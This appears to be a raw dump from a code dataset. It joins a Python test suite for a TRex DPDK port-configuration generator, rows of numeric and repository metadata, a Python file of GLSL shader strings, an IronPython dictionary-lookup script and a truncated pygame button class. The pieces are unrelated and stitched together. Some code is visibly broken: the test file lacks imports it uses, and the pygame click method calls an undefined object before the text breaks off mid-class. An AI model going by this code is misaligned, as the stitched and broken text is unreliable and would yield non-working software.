from nose.tools import assert_raises
import yaml
class CompareLinesDiff(Exception): pass
class CompareLinesNumDiff(Exception): pass
class CompareTypeErr(Exception): pass
def compare_lines(golden, output):
if type(golden) is not str:
raise CompareTypeErr('Type of golden should be str, got: %s' % type(golden))
if type(output) is not str:
raise CompareTypeErr('Type of output should be str, got: %s' % type(output))
golden_lines = golden.strip().splitlines()
output_lines = output.strip().splitlines()
if len(golden_lines) != len(output_lines):
raise CompareLinesNumDiff('Number of lines on golden is: %s, in output: %s\nGolden:\n%s\nGenerated:\n%s\n' % (len(golden_lines), len(output_lines), golden, output))
for line_num, (golden_line, output_line) in enumerate(zip(golden_lines, output_lines)):
if golden_line != output_line:
raise CompareLinesDiff('Produced YAML differs from golden at line %s.\nGolden: %s <-> Output: %s' % (line_num + 1, golden_line, output_line))
def create_config(cpu_topology, interfaces, *args, **kwargs):
config = ConfigCreator(cpu_topology, interfaces, *args, **kwargs)
return config.create_config()
def verify_master_core0(output):
output_yaml = yaml.safe_load(output)
assert type(output_yaml) is list, 'Generated YAML should be list'
assert len(output_yaml) is 1, 'Generated YAML should be list with 1 element'
output_yaml = output_yaml[0]
assert 'platform' in output_yaml, 'Generated YAML has no platform section:\n%s' % output
assert 'master_thread_id' in output_yaml['platform'], 'Generated YAML does not specify master thread id:\n%s' % output
assert output_yaml['platform']['master_thread_id'] is 0, 'Master thread id should be 0 in generated YAML, got:%s' % output_yaml['platform']['master_thread_id']
class TRexCfgCreator_Test:
def test_vm_cfg(self):
cpu_topology = {0: OrderedDict([i, [i]] for i in range(5))}
interfaces = [{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 1968,
'Device_str': 'VMXNET3 Ethernet Controller',
'Driver_str': 'vmxnet3',
'Interface': 'ens192',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0b:00.0',
'Module_str': 'igb_uio,vfio-pci,uio_pci_generic',
'NUMA': -1,
'PhySlot': '192',
'PhySlot_str': '192',
'ProgIf': '01',
'Rev': '01',
'Rev_str': '01',
'SDevice': '07b0',
'SDevice_str': 'VMXNET3 Ethernet Controller',
'SVendor': '15ad',
'SVendor_str': 'VMware',
'Slot': '0000:0b:00.0',
'Slot_str': '0b:00.0',
'Vendor': 5549,
'Vendor_str': 'VMware',
'dest_mac': '00:0c:29:92:f1:ca',
'src_mac': '00:0c:29:92:f1:d4',
'loopback_dest': True},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 1968,
'Device_str': 'VMXNET3 Ethernet Controller',
'Driver_str': 'vmxnet3',
'Interface': 'ens160',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '03:00.0',
'Module_str': 'igb_uio,vfio-pci,uio_pci_generic',
'NUMA': -1,
'PhySlot': '160',
'PhySlot_str': '160',
'ProgIf': '01',
'Rev': '01',
'Rev_str': '01',
'SDevice': '07b0',
'SDevice_str': 'VMXNET3 Ethernet Controller',
'SVendor': '15ad',
'SVendor_str': 'VMware',
'Slot': '0000:03:00.0',
'Slot_str': '03:00.0',
'Vendor': 5549,
'Vendor_str': 'VMware',
'dest_mac': '00:0c:29:92:f1:d4',
'src_mac': '00:0c:29:92:f1:ca'}]
golden = '''
### Config file generated by dpdk_setup_ports.py ###
- version: 2
interfaces: ['0b:00.0', '03:00.0']
port_info:
- dest_mac: 00:0c:29:92:f1:ca # MAC OF LOOPBACK TO IT'S DUAL INTERFACE
src_mac: 00:0c:29:92:f1:d4
- dest_mac: 00:0c:29:92:f1:d4
src_mac: 00:0c:29:92:f1:ca
platform:
master_thread_id: 0
latency_thread_id: 1
dual_if:
- socket: 0
threads: [2,3,4]
'''
output = create_config(cpu_topology, interfaces)
verify_master_core0(output)
compare_lines(golden, output)
with assert_raises(CompareLinesNumDiff):
compare_lines('1' + golden, output)
output = create_config(cpu_topology, interfaces, exclude_lcores = [0])
with assert_raises(AssertionError):
verify_master_core0(output)
output = create_config(cpu_topology, interfaces, include_lcores = [1,2,3,4])
with assert_raises(AssertionError):
verify_master_core0(output)
output = create_config(cpu_topology, interfaces, include_lcores = [0,2,3,4])
verify_master_core0(output)
output = create_config(cpu_topology, interfaces, include_lcores = [0,2,3,4], exclude_lcores = [0])
with assert_raises(AssertionError):
verify_master_core0(output)
def test_trex08_cfg(self):
cpu_topology = OrderedDict([(0, OrderedDict([(0, [0, 16]), (1, [1, 17]), (2, [2, 18]), (3, [3, 19]), (4, [4, 20]), (5, [5, 21]), (6, [6, 22]), (7, [7, 23])])), (1, OrderedDict([(0, [8, 24]), (1, [9, 25]), (2, [10, 26]), (3, [11, 27]), (4, [12, 28]), (5, [13, 29]), (6, [14, 30]), (7, [15, 31])]))])
interfaces = [{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:02:00.0',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-1',
'PhySlot_str': '0-1',
'ProgIf': '01',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0002',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:02:00.0',
'Slot_str': '02:00.0',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '02:00:02:00:00:00',
'src_mac': '01:00:01:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:02:00.1',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-1',
'PhySlot_str': '0-1',
'ProgIf': '01',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0000',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:02:00.1',
'Slot_str': '02:00.1',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '01:00:01:00:00:00',
'src_mac': '02:00:02:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:84:00.0',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 1,
'PhySlot': '0-8',
'PhySlot_str': '0-8',
'ProgIf': '20',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0002',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:84:00.0',
'Slot_str': '84:00.0',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '04:00:04:00:00:00',
'src_mac': '03:00:03:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:84:00.1',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 1,
'PhySlot': '0-8',
'PhySlot_str': '0-8',
'ProgIf': '20',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0000',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:84:00.1',
'Slot_str': '84:00.1',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '03:00:03:00:00:00',
'src_mac': '04:00:04:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '05:00.0',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-3',
'PhySlot_str': '0-3',
'ProgIf': '01',
'Rev': '02',
'Rev_str': '02',
'SDevice': '0000',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:05:00.0',
'Slot_str': '05:00.0',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '06:00:06:00:00:00',
'src_mac': '05:00:05:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '05:00.1',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-3',
'PhySlot_str': '0-3',
'ProgIf': '01',
'Rev': '02',
'Rev_str': '02',
'SDevice': '0000',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:05:00.1',
'Slot_str': '05:00.1',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '05:00:05:00:00:00',
'src_mac': '06:00:06:00:00:00'}]
golden = '''
### Config file generated by dpdk_setup_ports.py ###
- version: 2
interfaces: ['02:00.0', '02:00.1', '84:00.0', '84:00.1', '05:00.0', '05:00.1']
port_bandwidth_gb: 40
port_info:
- dest_mac: 02:00:02:00:00:00
src_mac: 01:00:01:00:00:00
- dest_mac: 01:00:01:00:00:00
src_mac: 02:00:02:00:00:00
- dest_mac: 04:00:04:00:00:00
src_mac: 03:00:03:00:00:00
- dest_mac: 03:00:03:00:00:00
src_mac: 04:00:04:00:00:00
- dest_mac: 06:00:06:00:00:00
src_mac: 05:00:05:00:00:00
- dest_mac: 05:00:05:00:00:00
src_mac: 06:00:06:00:00:00
platform:
master_thread_id: 0
latency_thread_id: 12
dual_if:
- socket: 0
threads: [1,2,3,16,17,18,19]
- socket: 1
threads: [8,9,10,11,24,25,26]
- socket: 0
threads: [4,5,6,7,20,21,22]
'''
output = create_config(cpu_topology, interfaces)
verify_master_core0(output)
compare_lines(golden, output)
interfaces = [{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:02:00.0',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-1',
'PhySlot_str': '0-1',
'ProgIf': '01',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0002',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:02:00.0',
'Slot_str': '02:00.0',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '02:00:02:00:00:00',
'src_mac': '01:00:01:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:02:00.1',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-1',
'PhySlot_str': '0-1',
'ProgIf': '01',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0000',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:02:00.1',
'Slot_str': '02:00.1',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '01:00:01:00:00:00',
'src_mac': '02:00:02:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:84:00.0',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 1,
'PhySlot': '0-8',
'PhySlot_str': '0-8',
'ProgIf': '20',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0002',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:84:00.0',
'Slot_str': '84:00.0',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '04:00:04:00:00:00',
'src_mac': '03:00:03:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:84:00.1',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 1,
'PhySlot': '0-8',
'PhySlot_str': '0-8',
'ProgIf': '20',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0000',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:84:00.1',
'Slot_str': '84:00.1',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '03:00:03:00:00:00',
'src_mac': '04:00:04:00:00:00'}]
golden = '''
### Config file generated by dpdk_setup_ports.py ###
- version: 2
interfaces: ['02:00.0', '02:00.1', '84:00.0', '84:00.1']
port_bandwidth_gb: 40
port_info:
- dest_mac: 02:00:02:00:00:00
src_mac: 01:00:01:00:00:00
- dest_mac: 01:00:01:00:00:00
src_mac: 02:00:02:00:00:00
- dest_mac: 04:00:04:00:00:00
src_mac: 03:00:03:00:00:00
- dest_mac: 03:00:03:00:00:00
src_mac: 04:00:04:00:00:00
platform:
master_thread_id: 0
latency_thread_id: 31
dual_if:
- socket: 0
threads: [1,2,3,4,5,6,7,16,17,18,19,20,21,22,23]
- socket: 1
threads: [8,9,10,11,12,13,14,15,24,25,26,27,28,29,30]
'''
output = create_config(cpu_topology, interfaces)
verify_master_core0(output)
compare_lines(golden, output)
interfaces = [{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:02:00.0',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-1',
'PhySlot_str': '0-1',
'ProgIf': '01',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0002',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:02:00.0',
'Slot_str': '02:00.0',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '02:00:02:00:00:00',
'src_mac': '01:00:01:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:02:00.1',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-1',
'PhySlot_str': '0-1',
'ProgIf': '01',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0000',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:02:00.1',
'Slot_str': '02:00.1',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '01:00:01:00:00:00',
'src_mac': '02:00:02:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '05:00.0',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-3',
'PhySlot_str': '0-3',
'ProgIf': '01',
'Rev': '02',
'Rev_str': '02',
'SDevice': '0000',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:05:00.0',
'Slot_str': '05:00.0',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '04:00:04:00:00:00',
'src_mac': '03:00:03:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '05:00.1',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-3',
'PhySlot_str': '0-3',
'ProgIf': '01',
'Rev': '02',
'Rev_str': '02',
'SDevice': '0000',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:05:00.1',
'Slot_str': '05:00.1',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '03:00:03:00:00:00',
'src_mac': '04:00:04:00:00:00'}]
golden = '''
### Config file generated by dpdk_setup_ports.py ###
- version: 2
interfaces: ['02:00.0', '02:00.1', '05:00.0', '05:00.1']
port_bandwidth_gb: 40
port_info:
- dest_mac: 02:00:02:00:00:00
src_mac: 01:00:01:00:00:00
- dest_mac: 01:00:01:00:00:00
src_mac: 02:00:02:00:00:00
- dest_mac: 04:00:04:00:00:00
src_mac: 03:00:03:00:00:00
- dest_mac: 03:00:03:00:00:00
src_mac: 04:00:04:00:00:00
platform:
master_thread_id: 0
latency_thread_id: 8
dual_if:
- socket: 0
threads: [1,2,3,16,17,18,19]
- socket: 0
threads: [4,5,6,7,20,21,22]
'''
output = create_config(cpu_topology, interfaces)
verify_master_core0(output)
compare_lines(golden, output)
def test_cfg_negative(self):
cpu_topology = OrderedDict([(0, OrderedDict([(0, [0, 16]), (1, [1, 17]), (2, [2, 18]), (3, [3, 19]), (4, [4, 20]), (5, [5, 21]), (6, [6, 22]), (7, [7, 23])])), (1, OrderedDict([(0, [8, 24]), (1, [9, 25]), (2, [10, 26]), (3, [11, 27]), (4, [12, 28]), (5, [13, 29]), (6, [14, 30]), (7, [15, 31])]))])
interfaces = [{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:02:00.0',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-1',
'PhySlot_str': '0-1',
'ProgIf': '01',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0002',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:02:00.0',
'Slot_str': '02:00.0',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '02:00:02:00:00:00',
'src_mac': '01:00:01:00:00:00'},
{'Active': '',
'Class': '0200',
'Class_str': 'Ethernet controller',
'Device': 5507,
'Device_str': 'Ethernet Controller XL710 for 40GbE QSFP+',
'Driver_str': 'igb_uio',
'Interface': '',
'TRex_Driver' :'net_ixgbe',
'Interface_argv': '0000:02:00.1',
'Module_str': 'vfio-pci,uio_pci_generic',
'NUMA': 0,
'PhySlot': '0-1',
'PhySlot_str': '0-1',
'ProgIf': '01',
'Rev': '01',
'Rev_str': '01',
'SDevice': '0000',
'SDevice_str': 'Ethernet Converged Network Adapter XL710-Q2',
'SVendor': '8086',
'SVendor_str': 'Intel Corporation',
'Slot': '0000:02:00.1',
'Slot_str': '02:00.1',
'Vendor': 32902,
'Vendor_str': 'Intel Corporation',
'dest_mac': '01:00:01:00:00:00',
'src_mac': '02:00:02:00:00:00'}]
# types errors
with assert_raises(AssertionError):
create_config(None, None)
with assert_raises(AssertionError):
create_config(cpu_topology, None)
with assert_raises(AssertionError):
create_config(None, interfaces)
with assert_raises(AssertionError):
create_config(cpu_topology, [])
with assert_raises(AssertionError):
create_config({}, interfaces)
with assert_raises(AssertionError):
create_config({}, [])
# not enough cores at NUMA 0
with assert_raises(DpdkSetup):
create_config({0:{0:[]}, 1:{0:[1,2,3,4,5,6,7]}}, interfaces)
with assert_raises(DpdkSetup):
create_config({0:{0:[1]}, 1:{0:[3]}}, interfaces)
with assert_raises(DpdkSetup):
create_config({0:{0:[1,2]}}, interfaces)
# no NUMA 0 info, NICs at NUMA 0
cpu_topo1 = copy.deepcopy(cpu_topology)
del cpu_topo1[0]
with assert_raises(KeyError):
create_config(cpu_topo1, interfaces)
int1 = copy.deepcopy(interfaces)
for interface in int1:
interface['NUMA'] = 1
# now should work, as interfaces use NUMA 1
create_config(cpu_topo1, int1)
int2 = copy.deepcopy(interfaces)
int2[1]['NUMA'] = 1
# interfaces on different NUMAs
with assert_raises(DpdkSetup):
create_config(cpu_topology, int2)
def test_inner_comparator(self):
compare_lines('', '')
compare_lines('one\ntwo', 'one\ntwo')
with assert_raises(CompareLinesNumDiff):
compare_lines('one\ntwo', 'one\ntwo\nthree')
with assert_raises(CompareLinesDiff):
compare_lines('one\ntwo', 'one\ntwo1')
with assert_raises(CompareLinesDiff):
compare_lines('one\ntwo', 'one\nthree')
with assert_raises(CompareTypeErr):
compare_lines(None, 'one\nthree')
with assert_raises(CompareTypeErr):
compare_lines('one\ntwo', None)
with assert_raises(CompareTypeErr):
compare_lines(None, None)
@classmethod
def tearDownClass(cls):
if CTRexScenario.scripts_path in sys.path:
sys.path.remove(CTRexScenario.scripts_path)
del sys.modules['dpdk_setup_ports']
| 31.634454
| 306
| 0.609333
| 3,196
| 22,587
| 4.135169
| 0.076658
| 0.03632
| 0.02724
| 0.02043
| 0.853738
| 0.840648
| 0.802285
| 0.77444
| 0.75
| 0.738045
| 0
| 0.127741
| 0.190375
| 22,587
| 713
| 307
| 31.678822
| 0.594958
| 0.007084
| 0
| 0.822747
| 0
| 0.01034
| 0.523081
| 0.025155
| 0
| 0
| 0
| 0
| 0.039882
| 1
| 0.011817
| false
| 0.004431
| 0.01034
| 0
| 0.029542
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5eebf9ed941a17f8bfdbe0528237d448b668ad56
| 1,049
|
py
|
Python
|
scripts/addons/Poly_Source/utils/shader.py
|
Tilapiatsu/blender-custom_conf
|
05592fedf74e4b7075a6228b8448a5cda10f7753
|
[
"MIT"
] | 2
|
2020-04-16T22:12:40.000Z
|
2022-01-22T17:18:45.000Z
|
scripts/addons/Poly_Source/utils/shader.py
|
Tilapiatsu/blender-custom_conf
|
05592fedf74e4b7075a6228b8448a5cda10f7753
|
[
"MIT"
] | null | null | null |
scripts/addons/Poly_Source/utils/shader.py
|
Tilapiatsu/blender-custom_conf
|
05592fedf74e4b7075a6228b8448a5cda10f7753
|
[
"MIT"
] | 2
|
2019-05-16T04:01:09.000Z
|
2020-08-25T11:42:26.000Z
|
# Shader Uniform
vs_uni = '''
uniform mat4 view_mat;
uniform float Z_Bias;
uniform float Z_Offset;
vec4 pos_view;
in vec3 pos;
in vec3 nrm;
void main()
{
pos_view = view_mat * vec4(pos+(nrm*Z_Offset), 1.0f);
pos_view.z = pos_view.z - Z_Bias / pos_view.z;
gl_Position = pos_view;
}
'''
fs_uni = '''
uniform vec4 color;
out vec4 fragColor;
void main()
{
fragColor = vec4(color.xyz, color.w);
}
'''
# Shader Smooth
vs_sm = '''
uniform mat4 view_mat;
uniform float Z_Bias;
uniform float Z_Offset;
vec4 pos_view;
in vec3 pos;
in vec3 nrm;
in vec4 col;
out vec4 color;
void main()
{
pos_view = view_mat * vec4(pos+(nrm*Z_Offset), 1.0f);
color = col;
pos_view.z = pos_view.z - Z_Bias / pos_view.z;
gl_Position = pos_view;
}
'''
fs_sm = '''
in vec4 color;
out vec4 fragColor;
void main()
{
fragColor = vec4(color.xyz, color.w);
}
'''
| 15.202899
| 61
| 0.546235
| 146
| 1,049
| 3.719178
| 0.212329
| 0.154696
| 0.088398
| 0.066298
| 0.858195
| 0.858195
| 0.858195
| 0.858195
| 0.858195
| 0.858195
| 0
| 0.031746
| 0.339371
| 1,049
| 68
| 62
| 15.426471
| 0.751804
| 0.026692
| 0
| 0.638298
| 0
| 0
| 0.93117
| 0.047198
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5ef8b176ad458469e769d540787e13706405e129
| 474
|
py
|
Python
|
MahTweets/Scripts/DictionaryDefinition.py
|
shiftkey/MahTweets.LawrenceHargrave
|
808f20a2c9223943499a2802af3d6ac5c445cd9f
|
[
"MS-PL"
] | 2
|
2016-01-25T14:43:00.000Z
|
2021-11-24T00:38:42.000Z
|
MahTweets/Scripts/DictionaryDefinition.py
|
shiftkey/MahTweets.LawrenceHargrave
|
808f20a2c9223943499a2802af3d6ac5c445cd9f
|
[
"MS-PL"
] | null | null | null |
MahTweets/Scripts/DictionaryDefinition.py
|
shiftkey/MahTweets.LawrenceHargrave
|
808f20a2c9223943499a2802af3d6ac5c445cd9f
|
[
"MS-PL"
] | 2
|
2016-01-25T14:43:02.000Z
|
2021-11-24T00:38:33.000Z
|
import clr
from System.Diagnostics import *
from System import Uri
def text_select_context_menu_click (selectedtext) :
"""Define a word in the dictionary"""
url = Uri("http://dictionary.reference.com/browse/" + selectedtext)
Process.Start(url.ToString())
def compose_text_context_menu_click (selectedtext) :
"""Define a word in the dictionary"""
url = Uri("http://dictionary.reference.com/browse/" + selectedtext)
Process.Start(url.ToString())
| 36.461538
| 71
| 0.725738
| 61
| 474
| 5.52459
| 0.47541
| 0.059347
| 0.094955
| 0.166172
| 0.753709
| 0.753709
| 0.753709
| 0.753709
| 0.753709
| 0.753709
| 0
| 0
| 0.149789
| 474
| 13
| 72
| 36.461538
| 0.833747
| 0
| 0
| 0.444444
| 0
| 0
| 0.195
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.333333
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 8
|
6f60f701fcf758668c26b1a63e6d5fa07082238d
| 25,214
|
py
|
Python
|
Souped Up Salmon Origins/game_script.py
|
TheRealNutellaSwan/Souped-Up-Salmon-Origins
|
49fb3b1990c1d5ae1077cb6bf42db2543dc2f974
|
[
"MIT"
] | 3
|
2020-01-14T08:48:20.000Z
|
2020-01-14T20:08:27.000Z
|
Souped Up Salmon Origins/game_script.py
|
zap2/Souped-Up-Salmon-Origins
|
49fb3b1990c1d5ae1077cb6bf42db2543dc2f974
|
[
"MIT"
] | null | null | null |
Souped Up Salmon Origins/game_script.py
|
zap2/Souped-Up-Salmon-Origins
|
49fb3b1990c1d5ae1077cb6bf42db2543dc2f974
|
[
"MIT"
] | null | null | null |
from pygame import mixer
from sprite_library import *
from pygame.sysfont import SysFont
import time
class Button:
def __init__(self, position, size, colour, hover_colour, text, difficulty, callback):
self.position = position
self.size = size
self.colour = colour
self.hover_colour = hover_colour
self.text = text
self.difficulty = difficulty
self.callback = callback
self.font = pygame.font.SysFont("comic sans", 45)
self.hovering = False
def draw(self, surface):
if self.hovering:
pygame.draw.rect(surface, self.hover_colour, (self.position[0],
self.position[1], self.size[0], self.size[1]))
else:
pygame.draw.rect(surface, self.colour, (self.position[0], self.position[1], self.size[0], self.size[1]))
label = self.font.render(self.text, 30, (40, 180, 250))
surface.blit(label, self.position)
def is_mouse_hovering(self, mouse_x, mouse_y):
return(self.position[0] <= mouse_x <= self.position[0] + self.size[0]
and self.position[1] <= mouse_y <= self.position[1] + self.size[1])
def click(self):
self.callback()
if play.click():
EnemyHandler.difficulty = 5
mixer.music.pause()
lvl6()
class Button2:
def __init__(self, position, size, colour, hover_colour, text, difficulty, callback):
self.position = position
self.size = size
self.colour = colour
self.hover_colour = hover_colour
self.text = text
self.difficulty = difficulty
self.callback = callback
self.font = pygame.font.SysFont("comic sans", 20)
self.hovering = False
def draw(self, surface):
if self.hovering:
pygame.draw.rect(surface, self.hover_colour, (self.position[0],
